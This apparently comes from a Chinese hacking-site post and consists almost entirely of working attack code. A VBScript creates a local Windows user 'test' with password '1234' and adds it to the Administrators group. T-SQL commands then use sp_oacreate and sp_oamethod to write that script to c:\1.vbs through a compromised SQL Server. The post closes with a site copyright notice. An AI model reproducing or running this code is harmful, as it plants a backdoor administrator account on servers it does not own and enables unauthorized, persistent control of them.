set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)

os=”WinNT://”&wsnetwork.ComputerName

Set ob=GetObject(os) ‘得到adsi接口,绑定

Set oe=GetObject(os&”/administrators,group”) ‘属性,admin组

Set od=ob.Create(“user”,”test”) ‘建立用户

od.SetPassword “1234” ‘设置密码

od.SetInfo ‘保存

Set of=GetObject(os&”/test”,user) ‘得到用户

oe.add os&”/test”

SQL语句如下，采用sp_oamethod过程：

declare @o int, @f int, @ret int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\1.vbs‘, 1

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set wsnetwork=CreateObject

(“WSCRIPT.NETWORK”)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’os=”WinNT://”&wsnetwork.

ComputerName’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set oe=GetObject

(os&”/Administrators,group”)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set od=ob.Create

(“user”,”test”)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword “1234”‘

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set of=GetObject

(os&”/test”,user) ‘

exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&”/test”‘

声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。